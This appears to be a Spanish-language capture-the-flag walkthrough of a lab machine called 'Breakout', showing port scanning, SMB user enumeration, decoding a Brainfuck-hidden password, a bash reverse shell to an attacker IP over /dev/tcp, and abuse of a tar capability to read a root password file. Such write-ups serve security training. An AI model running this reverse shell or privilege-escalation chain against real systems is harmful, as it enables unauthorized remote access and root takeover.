

Breakout

```
Escaneo la direccion
-reviso los puertos
encuentro 3 paginas web
66.66.66.6:80
66.66.66.6:10000
66.66.66.6:20000
```

<https://066-066-066-006.res.spectrum.com:10000/>
<https://066-066-066-006.res.spectrum.com:20000/>

los puertos 10000 y 20000 son Logins
el puerto 80 simula una p`agina por defecto de apache al revisar el codigo fuente me tope con un un comentario

<!--
don't worry no one will get here, it's safe to share with you my access. Its encrypted :)

++++++[>+>+>++++>+++++++>+++++++<<<-]>>+++++++>++++,>>++++
+++++,---,<+++++>,-----,>-----,>++++,<<+,>,-----,>++++
++++,<-----,>>-----,<<++++,++++,

$$\rightarrow$$

lo descifro en dcode.fr con cifrado brainfuck

clave: .2uqPEfj3D<P'a-3

poseemos la clave pero no el usuario , para esto enumeraremos los posibles usuarios,

```
└─(kali⊗kali)-[~]  
└─$ enum4linux -a 66.66.66.6
```

la ejecucion de este comando , arrojo un usuario linux llamado cyber
cyber

probaremos ingresar al login de users con este usuario, logre acceder , no se detecta nada extraño en la web , a excepci`on que abre una consola,

hice un ls para revisar :

cyber@breakout ~]\$ ls

tar

user.txt

```
[cyber@breakout ~]$ cat user.txt
```

```
3mp!r3{You_Manage_To_Break_To_My_Secure_Access}
```

```
[cyber@breakout ~]$
```

Detectamos un tar y un User.txt

lo siguiente es armar una shell reversa usaremos netcat

nc -nlvp 666

deje en mi maquina atacante el puerto 666 abierto y a la escucha.

ahora me voy a la consola de la web

y ejecuto una shell reversa

```
[cyber@breakout ~]$ ls
tar
user.txt
[cyber@breakout ~]$ cat user.txt
3mp!r3{You_Manage_To_Break_To_My_Secure_Access}
[cyber@breakout ~]$ whoami
cyber
[cyber@breakout ~]$ bash -i >& /dev/tcp/66.66.66.4/666 0>&1
```

`bash -i >& /dev/tcp/66.66.66.4/666 0>&1`

le doy enter y voila!!

tengo acceso remoto en el netcat

```
(kali㉿kali)-[~]
$ nc -nlvp 666
listening on [any] 666 ...
connect to [66.66.66.4] from (UNKNOWN) [66.66.66.6] 34350
bash: cannot set terminal process group (2083): Inappropriate ioctl for device
bash: no job control in this shell
cyber@breakout:~$ ls
ls
tar
user.txt
cyber@breakout:~$ whoami
whoami
cyber
cyber@breakout:~$
```

Revisamos los privilegios sin obtener resultados

```
cyber@breakout:~$ sudo -l
```

```
sudo -l
```

```
bash: sudo: command not found
```

Uso el comando `getcap` para revisar a las herramientas que tenemos accesos con el usuario `cyber`

```
cyber@breakout:~$ getcap -r / 2>/dev/null
```

```
getcap -r / 2>/dev/null
```

```
/home/cyber/tar cap_dac_read_search=ep
```

```
/usr/bin/ping cap_net_raw=ep
```

tenemos accesos a `tar` ,con lectura

aproveche de hacer un barrido a los directorios

llegando al directorio `/var/backups/`

```
cyber@breakout:/var$ ls
```

```
ls
```

```
backups
```

```
cache
```

```
lib
```

```
local
```

```
lock
```

```
log
```

```
mail
```

```
opt
```

```
run
```

```
spool
```

```

tmp
usermin
webmin
www
cyber@breakout:/var$ ls -la
ls -la
total 56
drwxr-xr-x 14 root root 4096 Oct 19 2021 .
drwxr-xr-x 18 root root 4096 Oct 19 2021 ..
drwxr-xr-x  2 root root 4096 Jan 12 18:18 backups
drwxr-xr-x 12 root root 4096 Oct 19 2021 cache
drwxr-xr-x 25 root root 4096 Oct 19 2021 lib
drwxrwsr-x  2 root staff 4096 Apr 10 2021 local
lrwxrwxrwx  1 root root   9 Oct 19 2021 lock -> /run/lock
drwxr-xr-x  8 root root 4096 Jan 12 15:04 log
drwxrwsr-x  2 root mail 4096 Oct 19 2021 mail
drwxr-xr-x  2 root root 4096 Oct 19 2021 opt
lrwxrwxrwx  1 root root   4 Oct 19 2021 run -> /run
drwxr-xr-x  5 root root 4096 Oct 19 2021 spool
drwxrwxrwt  5 root root 4096 Jan 12 15:04 tmp
drwxr-xr-x  3 root root 4096 Jan 12 15:04 usermin
drwx----- 3 root bin  4096 Jan 12 18:35 webmin
drwxr-xr-x  3 root root 4096 Oct 19 2021 www
cyber@breakout:/var$ cd backups
cd backups
cyber@breakout:/var/backups$ ls
ls
apt.extended_states.0
cyber@breakout:/var/backups$ ls -la
ls -la
total 28
drwxr-xr-x  2 root root 4096 Jan 12 18:18 .
drwxr-xr-x 14 root root 4096 Oct 19 2021 ..
-rw-r--r--  1 root root 12732 Oct 19 2021 apt.extended_states.0
-rw-----  1 root root   17 Oct 20 2021 .old_pass.bak
cyber@breakout:/var/backups$ cat .old_pass.bak
cat .old_pass.bak
cat: .old_pass.bak: Permission denied
cyber@breakout:/var/backups$

```

Posee un fichero oculto llamado old_pass.bak

como averiguamos anteriormente tar tiene permisos de lectura por lo cual aprovecharemos eso para poder leer este old_pass ejecutando tar,

```

cyber@breakout:~$ ./tar -cf clave.tar /var/backups/.old_pass.bak
./tar -cf clave.tar /var/backups/.old_pass.bak
creamos el tar
./tar: Removing leading `/' from member names
la ejecuci`on de esto remueve el privilegio de root

```

```

cyber@breakout:~$ ls
ls
clave.bak
clave.tar
tar
user.txt
cyber@breakout:~$ tar xvf clave.tar
tar xvf clave.tar
Descomprimos el archivo que creamos
nos cambiamos al directorio creado en busqueda del archivo

```

```

cyber@breakout:~$ cd var
cd var
cyber@breakout:~/var$ ls
ls
backups
cyber@breakout:~/var$ cd backups
cd backups
cyber@breakout:~/var/backups$ ls
ls
cyber@breakout:~/var/backups$ la -a
la -a
bash: la: command not found
cyber@breakout:~/var/backups$ ls -a
ls -a
.
..
.old_pass.bak
cyber@breakout:~/var/backups$ cat .old_pass.bak
cat .old_pass.bak
Ts&4&YurgtRX(=~h
cyber@breakout:~/var/backups$

```

conseguimos una pass seguramente podr`ia ser el root , haremos la prueba

```

su root
Password: Ts&4&YurgtRX(=~h
whoami
root
ya somos root se ve rara la terminal as`i que le har`e tratamiento a la tty

```

```
script /dev/null -c bash
```

```

Script started, output log file is '/dev/null'.
root@breakout:/home/cyber/var/backups#
ahora se ve como root

```

```

root@breakout:/home/cyber/var/backups# cd /root
cd /root
root@breakout:~# ls
ls
r00t.txt
root@breakout:~# cat r00t.txt
cat r00t.txt
cat: r00t.txt: No such file or directory
root@breakout:~# cat r00t.txt
cat r00t.txt
3mp!r3{You_Manage_To_BreakOut_From_My_System_Congratulation}

```

```

Author: Icex64 & Empire Cybersecurity
root@breakout:~#

```

Escaneo

```
Nmap Starting Nmap 7.94SVN (https://nmap.org) at 2024-01-12 18:09 EST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:09
Completed NSE at 18:09, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:09
Completed NSE at 18:09, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:09
Completed NSE at 18:09, 0.00s elapsed
Initiating ARP Ping Scan at 18:09
Scanning 66.66.66.6 [1 port]
Completed ARP Ping Scan at 18:09, 0.10s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 18:09
Scanning 66.66.66.6 [65535 ports]
Discovered open port 139/tcp on 66.66.66.6
Discovered open port 80/tcp on 66.66.66.6
Discovered open port 445/tcp on 66.66.66.6
Discovered open port 10000/tcp on 66.66.66.6
Discovered open port 20000/tcp on 66.66.66.6
Completed SYN Stealth Scan at 18:09, 7.00s elapsed (65535 total ports)
Initiating Service scan at 18:09
Scanning 5 services on 66.66.66.6
Warning: Hit PCRE_ERROR_MATCHLIMIT when probing for service http with the regex '^HTTP/1\.[^ \d]*[^\r\n]*\r\n(?:\r\n)?.*\r\nServer: Virata-EmWeb/R([\d_]+)\r\nContent-Type: text/html; ?charset=UTF-8\r\nExpires: .*<title>HP (Color |)LaserJet ([\w._ -]+)&\nbsp;&\nbsp;&\nbsp;'
Completed Service scan at 18:09, 11.18s elapsed (5 services on 1 host)
NSE: Script scanning 66.66.66.6.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 18:09
Completed NSE at 18:09, 30.11s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 18:09
Completed NSE at 18:09, 0.09s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 18:09
Completed NSE at 18:09, 0.01s elapsed
Nmap scan report for 66.66.66.6
Host is up, received arp-response (0.00034s latency).
Scanned at 2024-01-12 18:09:09 EST for 49s
Not shown: 65530 closed tcp ports (reset)
```

| PORT | STATE | SERVICE | REASON | VERSION |
|-----------|-------|-------------|----------------|---|
| 80/tcp | open | http | syn-ack ttl 64 | Apache httpd 2.4.51 ((Debian)) _ http-title: Apache2 Debian Default Page: It works _ http-server-header: Apache/2.4.51 (Debian) http-methods: _ Supported Methods: GET POST OPTIONS HEAD |
| 139/tcp | open | netbios-ssn | syn-ack ttl 64 | Samba smbd 4.6.2 |
| 445/tcp | open | netbios-ssn | syn-ack ttl 64 | Samba smbd 4.6.2 |
| 10000/tcp | open | http | syn-ack ttl 64 | MiniServ 1.981 (Webmin httpd) _ http-server-header: MiniServ/1.981 _ http-title: 200 ~ Document follows _ http-favicon: Unknown favicon MD5: 16E5135950DDE3CF61849DDA116DE5E1 http-methods: _ Supported Methods: GET HEAD POST OPTIONS |
| 20000/tcp | open | http | syn-ack ttl 64 | MiniServ 1.830 (Webmin httpd) |

|_ http-server-header: MiniServ/1.830
|_ http-title: 200 ~ Document follows
|_ http-favicon: Unknown favicon MD5: D239763ECFFE746936D8B26C9FA38840
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
MAC Address: 08:00:27:A0:53:9D (Oracle VirtualBox virtual NIC)

Host script results:

|_ clock-skew: -1s
| p2p-conficker:
|_ Checking for Conficker.C or higher...
|_ Check 1 (port 39166/tcp): CLEAN (Couldn't connect)
|_ Check 2 (port 65092/tcp): CLEAN (Couldn't connect)
|_ Check 3 (port 27746/udp): CLEAN (Failed to receive data)
|_ Check 4 (port 59378/udp): CLEAN (Failed to receive data)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-time:
|_ date: 2024-01-12T23:09:28
|_ start_date: N/A
| smb2-security-mode:
|_ 3:1:1:
|_ Message signing enabled but not required
| nbstat: NetBIOS name: BREAKOUT, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|_ BREAKOUT<00> Flags: <unique><active>
|_ BREAKOUT<03> Flags: <unique><active>
|_ BREAKOUT<20> Flags: <unique><active>
|_ \x01\x02_MSBROWSE_\x02<01> Flags: <group><active>
|_ WORKGROUP<00> Flags: <group><active>
|_ WORKGROUP<1d> Flags: <unique><active>
|_ WORKGROUP<1e> Flags: <group><active>
| Statistics:
|_ 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_ 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_ 00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00

NSE: Script Post-scanning.

NSE: Starting runlevel 1 (of 3) scan.

Initiating NSE at 18:09

Completed NSE at 18:09, 0.01s elapsed

NSE: Starting runlevel 2 (of 3) scan.

Initiating NSE at 18:09

Completed NSE at 18:09, 0.00s elapsed

NSE: Starting runlevel 3 (of 3) scan.

Initiating NSE at 18:09

Completed NSE at 18:09, 0.01s elapsed

Read data files from: /usr/bin/./share/nmap

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.

Nmap done: 1 IP address (1 host up) scanned in 49.79 seconds

Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)

Puertos

80/tcp open http syn-ack ttl 64 Apache httpd 2.4.51 ((Debian))
139/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.6.2
445/tcp open netbios-ssn syn-ack ttl 64 Samba smbd 4.6.2
10000/tcp open http syn-ack ttl 64 MiniServ 1.981 (Webmin httpd) <https://066-066-066-006.res.spectrum.com:10000/>
20000/tcp open http syn-ack ttl 64 MiniServ 1.830 (Webmin httpd) <https://066-066-066-006.res.spectrum.com:20000/>

Informacion Importante

<!--

don't worry no one will get here, it's safe to share with you my access. Its encrypted :)

++++++[>+>+++>++++++>++++++<<<-]>+++++++,++++,.>++++
+++++++,---,<+++++++,-----,>-----,++++,<<+,>-,-----,++++++
++++,<-----,>>-----,<<+++++,+++++,.

 \rightarrow

Descifrado-

.2uqPEfj3D<P'a-3

emun4linux

```
(kali㉿kali)-[~]  
└─$ enum4linux -a 66.66.66.6  
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Jan 12 18:43:43 2024
```

```
=====( Target  
Information )=====
```

```
Target ..... 66.66.66.6  
RID Range ..... 500-550,1000-1050  
Username ..... "  
Password ..... "  
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
```

```
=====( Enumerating Workgroup/Domain on  
66.66.66.6 )=====
```

```
[+] Got domain/workgroup name: WORKGROUP
```

```
=====( Nbtstat Information for  
66.66.66.6 )=====
```

```
Looking up status of 66.66.66.6
```

```
BREAKOUT    <00> -      B <ACTIVE> Workstation Service  
BREAKOUT    <03> -      B <ACTIVE> Messenger Service  
BREAKOUT    <20> -      B <ACTIVE> File Server Service  
.._MSBROWSE_. <01> - <GROUP> B <ACTIVE> Master Browser  
WORKGROUP   <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name  
WORKGROUP   <1d> -      B <ACTIVE> Master Browser  
WORKGROUP   <1e> - <GROUP> B <ACTIVE> Browser Service Elections
```

```
MAC Address = 00-00-00-00-00-00
```

```
=====( Session Check on  
66.66.66.6 )=====
```

```
[+] Server 66.66.66.6 allows sessions using username "", password  
""
```

```
=====( Getting domain SID for  
66.66.66.6 )=====
```

```
Domain Name: WORKGROUP  
Domain Sid: (NULL SID)
```

```
[+] Can't determine if host is part of domain or part of a  
workgroup
```

```
=====( OS information on  
66.66.66.6 )=====
```

```
[E] Can't get OS info with smbclient
```

[+] Got OS info for 66.66.66.6 from srvinfo:
BREAKOUT Wk Sv PrQ Unx NT SNT Samba 4.13.5-
Debian
platform_id : 500
os version : 6.1
server type : 0x809a03

=====(Users on
66.66.66.6)=====

Use of uninitialized value \$users in print at ./enum4linux.pl line
972.
Use of uninitialized value \$users in pattern match (m//) at ./enum4linux.pl line 975.

Use of uninitialized value \$users in print at ./enum4linux.pl line 986.
Use of uninitialized value \$users in pattern match (m//) at ./enum4linux.pl line 988.

=====(Share Enumeration on
66.66.66.6)=====

smbXcli_negprot_smb1_done: No compatible protocol selected by
server.

| Sharename | Type | Comment |
|-----------|------|-----------------------------------|
| ----- | ---- | ----- |
| print\$ | Disk | Printer Drivers |
| IPC\$ | IPC | IPC Service (Samba 4.13.5-Debian) |

Reconnecting with SMB1 for workgroup listing.
Protocol negotiation to server 66.66.66.6 (for a protocol between LANMAN1 and NT1) failed:
NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

[+] Attempting to map shares on 66.66.66.6

//66.66.66.6/print\$ Mapping: DENIED Listing: N/A Writing: N/
A

[E] Can't understand response:

NT_STATUS_OBJECT_NAME_NOT_FOUND listing

*

//66.66.66.6/IPC\$ Mapping: N/A Listing: N/A Writing: N/A

=====(Password Policy Information for
66.66.66.6)=====

[+] Attaching to 66.66.66.6 using a NULL share

[+] Trying protocol 139/SMB...

[+] Found domain(s):

[+] BREAKOUT
[+] Builtin

[+] Password Info for Domain: BREAKOUT

[+] Minimum password length: 5
[+] Password history length: None
[+] Maximum password age: 37 days 6 hours 21 minutes
[+] Password Complexity Flags: 000000

[+] Domain Refuse Password Change: 0
[+] Domain Password Store Cleartext: 0
[+] Domain Password Lockout Admins: 0
[+] Domain Password No Clear Change: 0
[+] Domain Password No Anon Change: 0
[+] Domain Password Complex: 0

[+] Minimum password age: None
[+] Reset Account Lockout Counter: 30 minutes
[+] Locked Account Duration: 30 minutes
[+] Account Lockout Threshold: None
[+] Forced Log off Time: 37 days 6 hours 21 minutes

[+] Retrieved partial password policy with rpcclient:

Password Complexity: Disabled
Minimum Password Length: 5

=====(Groups on
66.66.66.6)=====

[+] Getting builtin groups:

[+] Getting builtin group memberships:

[+] Getting local groups:

[+] Getting local group memberships:

[+] Getting domain groups:

[+] Getting domain group memberships:

=====(Users on 66.66.66.6 via RID cycling (RIDS:
500-550,1000-1050))=====

[I] Found new SID:
S-1-22-1

[I] Found new SID:
S-1-5-32

[I] Found new SID:

S-1-5-32

[I] Found new SID:
S-1-5-32

[I] Found new SID:
S-1-5-32

[+] Enumerating users using SID S-1-5-21-1683874020-4104641535-3793993001 and logon username "", password ""

S-1-5-21-1683874020-4104641535-3793993001-501 BREAKOUT\nobody (Local User)

S-1-5-21-1683874020-4104641535-3793993001-513 BREAKOUT\None (Domain Group)

[+] Enumerating users using SID S-1-5-32 and logon username "", password ""

S-1-5-32-544 BUILTIN\Administrators (Local Group)

S-1-5-32-545 BUILTIN\Users (Local Group)

S-1-5-32-546 BUILTIN\Guests (Local Group)

S-1-5-32-547 BUILTIN\Power Users (Local Group)

S-1-5-32-548 BUILTIN\Account Operators (Local Group)

S-1-5-32-549 BUILTIN\Server Operators (Local Group)

S-1-5-32-550 BUILTIN\Print Operators (Local Group)

[+] Enumerating users using SID S-1-22-1 and logon username "", password ""

S-1-22-1-1000 Unix User\cyber (Local User)

=====(Getting printer info for 66.66.66.6)=====

No printers returned.

enum4linux complete on Fri Jan 12 18:48:05 2024